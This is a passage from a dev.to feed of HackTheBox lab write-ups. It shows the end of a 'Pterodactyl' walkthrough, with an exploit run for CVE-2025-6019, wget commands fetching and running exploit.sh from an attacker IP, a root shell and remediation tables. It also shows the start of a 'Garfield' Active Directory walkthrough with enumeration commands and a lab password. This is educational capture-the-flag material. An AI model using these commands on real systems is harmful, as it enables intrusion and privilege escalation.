         &lt;span class="o"&gt;=&lt;/span&gt;                       &lt;span class="nv"&gt;reflink&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1    &lt;span class="nv"&gt;bigtime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &lt;span class="nv"&gt;inobtcount&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &lt;span class="nv"&gt;nrext64&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
data     &lt;span class="o"&gt;=&lt;/span&gt;                       &lt;span class="nv"&gt;bsize&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4096   &lt;span class="nv"&gt;blocks&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;76800, &lt;span class="nv"&gt;imaxpct&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;25
naming   &lt;span class="o"&gt;=&lt;/span&gt;version 2              &lt;span class="nv"&gt;bsize&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4096   ascii-ci&lt;span class="o"&gt;=&lt;/span&gt;0, &lt;span class="nv"&gt;ftype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1, &lt;span class="nv"&gt;parent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0
log      &lt;span class="o"&gt;=&lt;/span&gt;internal log           &lt;span class="nv"&gt;bsize&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4096   &lt;span class="nv"&gt;blocks&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;16384, &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2
realtime &lt;span class="o"&gt;=&lt;/span&gt;none                   &lt;span class="nv"&gt;extsz&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4096   &lt;span class="nv"&gt;blocks&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0, &lt;span class="nv"&gt;rgcount&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0
&lt;span class="o"&gt;[&lt;/span&gt;+] 300 MB XFS image created: ./xfs.image
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Transfer to target with: scp xfs.image &amp;lt;user&amp;gt;@&amp;lt;host&amp;gt;:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The generated &lt;code&gt;xfs.image&lt;/code&gt; was downloaded onto the victim (over the reverse shell from the &lt;code&gt;allow_active&lt;/code&gt; escalation):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://&amp;lt;ATTACKER-IP&amp;gt;:8000/xfs.image
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;exploit.sh&lt;/code&gt; itself was also fetched. Before running it, its &lt;code&gt;dependencies&lt;/code&gt; check function (called near the bottom of the script) needs removing, since the required tooling isn't present on the target and the check would otherwise abort the run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://&amp;lt;ATTACKER-IP&amp;gt;:8000/exploit.sh
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x exploit.sh
bash exploit.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.5 Triggering the Exploit on the Target
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;exploit&lt;span class="nv"&gt;$ &lt;/span&gt;./exploit.sh
PoC &lt;span class="k"&gt;for &lt;/span&gt;CVE-2025-6019 &lt;span class="o"&gt;(&lt;/span&gt;LPE via libblockdev/udisks&lt;span class="o"&gt;)&lt;/span&gt;
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? &lt;span class="o"&gt;[&lt;/span&gt;y/N]: y
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Checking &lt;span class="k"&gt;for &lt;/span&gt;vulnerable libblockdev/udisks versions...
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Detected udisks version: unknown
&lt;span class="o"&gt;[!]&lt;/span&gt; Warning: Specific vulnerable versions &lt;span class="k"&gt;for &lt;/span&gt;CVE-2025-6019 are unknown.
&lt;span class="o"&gt;[!]&lt;/span&gt; Continuing with PoC execution...
Select mode:
&lt;span class="o"&gt;[&lt;/span&gt;L]ocal: Create 300 MB XFS image &lt;span class="o"&gt;(&lt;/span&gt;requires root&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;C]ible: Exploit target system
&lt;span class="o"&gt;[&lt;/span&gt;L]ocal or &lt;span class="o"&gt;[&lt;/span&gt;C]ible? &lt;span class="o"&gt;(&lt;/span&gt;L/C&lt;span class="o"&gt;)&lt;/span&gt;: C
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Starting exploitation on target machine...
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Checking allow_active status...
&lt;span class="o"&gt;[&lt;/span&gt;+] allow_active status confirmed.
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Verifying xfs.image integrity...
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Stopping gvfs-udisks2-volume-monitor...
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Note: gvfs-udisks2-volume-monitor was not running.
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Setting up loop device...
&lt;span class="o"&gt;[&lt;/span&gt;+] Loop device configured: /dev/loop0
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Keeping filesystem busy to prevent unmounting...
&lt;span class="o"&gt;[&lt;/span&gt;+] Background loop started &lt;span class="o"&gt;(&lt;/span&gt;PID: 17836&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Resizing filesystem to trigger mount...
&lt;span class="o"&gt;[&lt;/span&gt;+] Mount successful &lt;span class="o"&gt;(&lt;/span&gt;expected error: target is busy&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Waiting 2 seconds &lt;span class="k"&gt;for &lt;/span&gt;mount to stabilize...
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Checking &lt;span class="k"&gt;for &lt;/span&gt;SUID bash &lt;span class="k"&gt;in&lt;/span&gt; /tmp/blockdev&lt;span class="k"&gt;*&lt;/span&gt;...
&lt;span class="o"&gt;[&lt;/span&gt;+] SUID bash found: /tmp/blockdev.MSMGK3/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;allow_active&lt;/code&gt; status confirmation is the key line - it proves the CVE-2025-6018 escalation from the previous step actually took effect. From there, the exploit races a crafted XFS mount through &lt;code&gt;udisks&lt;/code&gt; and lands a SUID &lt;code&gt;bash&lt;/code&gt; binary.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.6 Root Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash-5.3# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
bash-5.3# &lt;span class="nb"&gt;cd&lt;/span&gt; /root
bash-5.3# &lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
HTB&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  6. Attack Chain Summary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Initial Enumeration
│
├─ Nmap Scan
│  ├─ Port 22 → SSH
│  └─ Port 80 → HTTP (static landing page)
│
├─ Information Disclosure
│  └─ changelog.txt → Pterodactyl Panel v1.11.10, MariaDB, PHP-PEAR enabled
│
├─ Virtual Host Enumeration
│  └─ panel.pterodactyl.htb discovered
│
├─ Web Application Exploitation
│  └─ CVE-2025-49132
│     └─ Unauthenticated RCE via /locales/locale.json (PEAR deserialization)
│
├─ Initial Access
│  └─ Reverse shell as wwwrun
│
├─ Post-Exploitation
│  ├─ Enumerate Laravel files
│  └─ Discover .env configuration file
│
├─ Credential Discovery
│  └─ Extract MariaDB credentials
│
├─ Database Enumeration
│  ├─ Dump users table
│  └─ Extract bcrypt password hashes
│
├─ Credential Attack
│  └─ Crack hash using John the Ripper → phileasfogg3
│
├─ Lateral Movement
│  └─ SSH access as phileasfogg3 (user flag)
│     └─ sudo -l shows (ALL) ALL, but targetpw blocks direct use
│
├─ Local Enumeration
│  └─ Identify D-Bus / udisks / polkit trust chain (linpeas + manual)
│
├─ Privilege Escalation Chain
│  ├─ CVE-2025-6018
│  │  └─ Convert SSH session to allow_active
│  │
│  └─ CVE-2025-6019
│     └─ Exploit libblockdev/udisks via crafted XFS mount → SUID bash
│
└─ Root Access
   └─ Read /root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  7. Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Exposed &lt;code&gt;changelog.txt&lt;/code&gt; disclosing Pterodactyl Panel version, DB backend, and PHP-PEAR status&lt;/td&gt;
&lt;td&gt;Enables precise, targeted vulnerability research&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;CVE-2025-49132 (Pterodactyl Panel)&lt;/td&gt;
&lt;td&gt;Unauthenticated remote code execution via PHP-PEAR deserialization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Database credentials stored in the Laravel &lt;code&gt;.env&lt;/code&gt; file, readable post-RCE&lt;/td&gt;
&lt;td&gt;Allows attackers to access and dump the MariaDB backend&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Weak user password (bcrypt hash crackable via rockyou.txt)&lt;/td&gt;
&lt;td&gt;Enables SSH login as &lt;code&gt;phileasfogg3&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Misleading &lt;code&gt;sudo -l&lt;/code&gt; grant (&lt;code&gt;(ALL) ALL&lt;/code&gt; gated by &lt;code&gt;targetpw&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Not directly exploitable, but highlights confusing/overlooked sudo configuration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;CVE-2025-6018 (pam-config)&lt;/td&gt;
&lt;td&gt;Converts a remote SSH session into an &lt;code&gt;allow_active&lt;/code&gt; session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;CVE-2025-6019 (libblockdev / udisks / Polkit)&lt;/td&gt;
&lt;td&gt;Local privilege escalation to root via a crafted filesystem mount&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  8. Remediations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Recommendation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Exposed &lt;code&gt;changelog.txt&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Remove changelogs, README files, and other version-disclosing artifacts from production web roots&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-49132 (Pterodactyl Panel RCE)&lt;/td&gt;
&lt;td&gt;Upgrade to Pterodactyl Panel 1.11.11 or later; disable PHP-PEAR in production unless explicitly required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database credentials in &lt;code&gt;.env&lt;/code&gt; readable post-compromise&lt;/td&gt;
&lt;td&gt;Restrict filesystem permissions on &lt;code&gt;.env&lt;/code&gt; to the web service user only; consider a secrets manager instead of a flat file for production credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weak/crackable user password&lt;/td&gt;
&lt;td&gt;Enforce strong, non-dictionary passwords; screen against breach/wordlist databases such as &lt;code&gt;rockyou.txt&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Confusing &lt;code&gt;sudo&lt;/code&gt; configuration (&lt;code&gt;(ALL) ALL&lt;/code&gt; + &lt;code&gt;targetpw&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Avoid broad &lt;code&gt;ALL) ALL&lt;/code&gt; grants even when gated by &lt;code&gt;targetpw&lt;/code&gt;; audit &lt;code&gt;sudoers&lt;/code&gt; entries for unintended or misleading permissions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-6018 (PAM &lt;code&gt;allow_active&lt;/code&gt; escalation)&lt;/td&gt;
&lt;td&gt;Patch PAM/&lt;code&gt;pam-config&lt;/code&gt; to a fixed version; monitor for unexpected Polkit &lt;code&gt;allow_active&lt;/code&gt; session grants from non-console sessions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-6019 (libblockdev/udisks LPE)&lt;/td&gt;
&lt;td&gt;Patch &lt;code&gt;libblockdev&lt;/code&gt;/&lt;code&gt;udisks&lt;/code&gt; to a fixed version; restrict which users/sessions can invoke &lt;code&gt;udisks&lt;/code&gt; mount operations via Polkit policy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lack of monitoring on Polkit/D-Bus privileged operations&lt;/td&gt;
&lt;td&gt;Deploy detection for anomalous &lt;code&gt;udisks&lt;/code&gt;/&lt;code&gt;polkit&lt;/code&gt; activity, unexpected loop-device creation, and SUID binary creation in world-writable paths like &lt;code&gt;/tmp&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>ctf</category>
      <category>writeup</category>
    </item>
    <item>
      <title>HackTheBox : Garfield Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sun, 19 Jul 2026 14:31:38 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-garfield-writeup-aab</link>
      <guid>https://dev.to/exploitnotes/hackthebox-garfield-writeup-aab</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Garfield is a Windows Active Directory box centered on an attack path that's invisible to standard BloodHound collection: SYSVOL file-level write access that isn't reflected in AD object ACLs. Starting from HTB-provided credentials for &lt;code&gt;j.arbuckle&lt;/code&gt;, SMB/LDAP enumeration and a BloodHound sweep surface a promising-looking chain (&lt;code&gt;l.wilson&lt;/code&gt; -&amp;gt; &lt;code&gt;l.wilson_adm&lt;/code&gt; -&amp;gt; RODC01) but no way in as &lt;code&gt;l.wilson&lt;/code&gt; itself - until manual SMB testing reveals write access to SYSVOL logon scripts, a GPO delegation artifact BloodHound doesn't model. A malicious logon script (&lt;code&gt;.bat&lt;/code&gt; launcher + in-memory PowerShell reverse shell) planted via SYSVOL and assigned to &lt;code&gt;l.wilson&lt;/code&gt;'s &lt;code&gt;scriptPath&lt;/code&gt; yields a shell on next login.&lt;/p&gt;

&lt;p&gt;From there, &lt;code&gt;l.wilson&lt;/code&gt; resets &lt;code&gt;l.wilson_adm&lt;/code&gt;'s password directly (a delegated right), giving the user flag. &lt;code&gt;l.wilson_adm&lt;/code&gt; holds &lt;code&gt;WRITE&lt;/code&gt; on the RODC01 computer object, enabling Resource-Based Constrained Delegation (RBCD) via a self-created fake machine account - but RODC01 turns out to sit on an internal-only network segment (the DC is dual-homed), reachable only via a Chisel SOCKS tunnel. Once pivoted in, RBCD is used to request a service ticket impersonating Administrator against RODC01, &lt;code&gt;l.wilson_adm&lt;/code&gt; is added to the RODC Administrators group, and the RODC's Password Replication Policy is modified to allow it to cache the real Administrator's credentials. Forcing replication and dumping the RODC's &lt;code&gt;krbtgt&lt;/code&gt; key with mimikatz enables both a RODC Golden Ticket and a Key List Attack, ultimately yielding the domain Administrator's NTLM hash and full domain compromise via Pass-the-Hash.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key techniques:&lt;/strong&gt; SMB credential leak -&amp;gt; BloodHound-invisible SYSVOL write access -&amp;gt; malicious logon script (fileless PowerShell reverse shell) -&amp;gt; delegated password reset -&amp;gt; RBCD against a writable RODC computer object -&amp;gt; internal network pivot via Chisel -&amp;gt; RODC group/PRP abuse -&amp;gt; forced credential replication -&amp;gt; RODC &lt;code&gt;krbtgt&lt;/code&gt; extraction -&amp;gt; Golden Ticket / Key List Attack -&amp;gt; Pass-the-Hash as Administrator.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;p&gt;An &lt;code&gt;nmap&lt;/code&gt; scan was run to identify open ports and services.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-oA&lt;/span&gt; nmap-garfield

Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;garfield.htb &lt;span class="o"&gt;(&lt;/span&gt;&amp;lt;MACHINE-IP&amp;gt;&lt;span class="o"&gt;)&lt;/span&gt;
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.27s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 986 filtered tcp ports &lt;span class="o"&gt;(&lt;/span&gt;no-response&lt;span class="o"&gt;)&lt;/span&gt;
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos &lt;span class="o"&gt;(&lt;/span&gt;server &lt;span class="nb"&gt;time&lt;/span&gt;: 2026-04-05 03:04:25Z&lt;span class="o"&gt;)&lt;/span&gt;
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP &lt;span class="o"&gt;(&lt;/span&gt;Domain: garfield.htb, Site: Default-First-Site-Name&lt;span class="o"&gt;)&lt;/span&gt;
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP &lt;span class="o"&gt;(&lt;/span&gt;Domain: garfield.htb, Site: Default-First-Site-Name&lt;span class="o"&gt;)&lt;/span&gt;
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: &lt;span class="nv"&gt;commonName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;DC01.garfield.htb
| Not valid before: 2026-02-13T01:10:36
|_Not valid after:  2026-08-15T01:10:36
| rdp-ntlm-info:
|   Target_Name: GARFIELD
|   NetBIOS_Domain_Name: GARFIELD
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: garfield.htb
|   DNS_Computer_Name: DC01.garfield.htb
|   DNS_Tree_Name: garfield.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-05T03:04:43+00:00
|_ssl-date: 2026-04-05T03:05:23+00:00&lt;span class="p"&gt;;&lt;/span&gt; +8h00m01s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 &lt;span class="o"&gt;(&lt;/span&gt;SSDP/UPnP&lt;span class="o"&gt;)&lt;/span&gt;
|_http-title: &lt;span class="s2"&gt;"Not Found"&lt;/span&gt;
|_http-server-header: Microsoft-HTTPAPI/2.0
Device &lt;span class="nb"&gt;type&lt;/span&gt;: general purpose
Running &lt;span class="o"&gt;(&lt;/span&gt;JUST GUESSING&lt;span class="o"&gt;)&lt;/span&gt;: Microsoft Windows 2019|10 &lt;span class="o"&gt;(&lt;/span&gt;97%&lt;span class="o"&gt;)&lt;/span&gt;
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Service Info: Host: DC01&lt;span class="p"&gt;;&lt;/span&gt; OS: Windows&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   &lt;span class="nb"&gt;date&lt;/span&gt;: 2026-04-05T03:04:45
|_  start_date: N/A
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 7h59m59s

Nmap &lt;span class="k"&gt;done&lt;/span&gt;: 1 IP address &lt;span class="o"&gt;(&lt;/span&gt;1 host up&lt;span class="o"&gt;)&lt;/span&gt; scanned &lt;span class="k"&gt;in &lt;/span&gt;138.23 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a Windows Active Directory Domain Controller. HTB provided a credential leak for this box: &lt;code&gt;j.arbuckle&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  1.1 DNS Enumeration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig @dc01.garfield.htb any garfield.htb

&lt;span class="p"&gt;;;&lt;/span&gt; ANSWER SECTION:
garfield.htb.           600     IN      A       &amp;lt;MACHINE-IP&amp;gt;
garfield.htb.           3600    IN      NS      dc01.garfield.htb.
garfield.htb.           3600    IN      SOA     dc01.garfield.htb. hostmaster.garfield.htb. 319 900 600 86400 3600
garfield.htb.           600     IN      AAAA    dead:beef::5a16:a5c9:fba3:d037

&lt;span class="p"&gt;;;&lt;/span&gt; ADDITIONAL SECTION:
dc01.garfield.htb.      3600    IN      A       192.168.100.1
dc01.garfield.htb.      3600    IN      A       &amp;lt;MACHINE-IP&amp;gt;
dc01.garfield.htb.      3600    IN      AAAA    dead:beef::5a16:a5c9:fba3:d037
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The presence of a &lt;code&gt;192.168.x.x&lt;/code&gt; address alongside the public one indicates the domain controller is &lt;strong&gt;dual-homed&lt;/strong&gt; - it also sits on an internal network segment not directly reachable from the attacker machine. This becomes relevant later.&lt;/p&gt;

&lt;h3&gt;
  
  
  1.2 SMB/LDAP Enumeration
&lt;/h3&gt;

&lt;p&gt;Shares and users were enumerated with the leaked credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'garfield.htb\j.arbuckle'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Th1sD4mnC4t!@1978'&lt;/span&gt; &lt;span class="nt"&gt;--shares&lt;/span&gt;
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Windows 10 / Server 2019 Build 17763 x64 &lt;span class="o"&gt;(&lt;/span&gt;name:DC01&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;domain:garfield.htb&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;signing:True&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;SMBv1:None&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Null Auth:True&lt;span class="o"&gt;)&lt;/span&gt;
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="o"&gt;[&lt;/span&gt;+] garfield.htb&lt;span class="se"&gt;\j&lt;/span&gt;.arbuckle:Th1sD4mnC4t!@1978
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Enumerated shares
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   Share           Permissions     Remark
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="nt"&gt;-----&lt;/span&gt;           &lt;span class="nt"&gt;-----------&lt;/span&gt;     &lt;span class="nt"&gt;------&lt;/span&gt;
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   ADMIN&lt;span class="nv"&gt;$ &lt;/span&gt;                         Remote Admin
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   C&lt;span class="nv"&gt;$ &lt;/span&gt;                             Default share
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   IPC&lt;span class="nv"&gt;$ &lt;/span&gt;           READ            Remote IPC
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   NETLOGON        READ            Logon server share
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   SYSVOL          READ            Logon server share
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'garfield.htb\j.arbuckle'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Th1sD4mnC4t!@1978'&lt;/span&gt; &lt;span class="nt"&gt;--users&lt;/span&gt;
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="nt"&gt;-Username-&lt;/span&gt;                    &lt;span class="nt"&gt;-Last&lt;/span&gt; PW Set-       &lt;span class="nt"&gt;-BadPW-&lt;/span&gt; &lt;span class="nt"&gt;-Description-&lt;/span&gt;
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   Administrator                 2025-10-03 17:29:26 0       Built-in account &lt;span class="k"&gt;for &lt;/span&gt;administering the computer/domain
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   Guest                         &amp;lt;never&amp;gt;             0       Built-in account &lt;span class="k"&gt;for &lt;/span&gt;guest access to the computer/domain
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   krbtgt                        2025-08-13 11:05:26 0       Key Distribution Center Service Account
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   krbtgt_8245                   2025-08-17 11:33:39 0       Key Distribution Center service account &lt;span class="k"&gt;for &lt;/span&gt;read-only domain controller
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   j.arbuckle                    2025-09-09 15:50:55 0
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   l.wilson                      2026-01-27 21:40:33 0
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   l.wilson_adm                  2026-01-13 14:56:35 0
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Enumerated 7 &lt;span class="nb"&gt;local users&lt;/span&gt;: GARFIELD
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



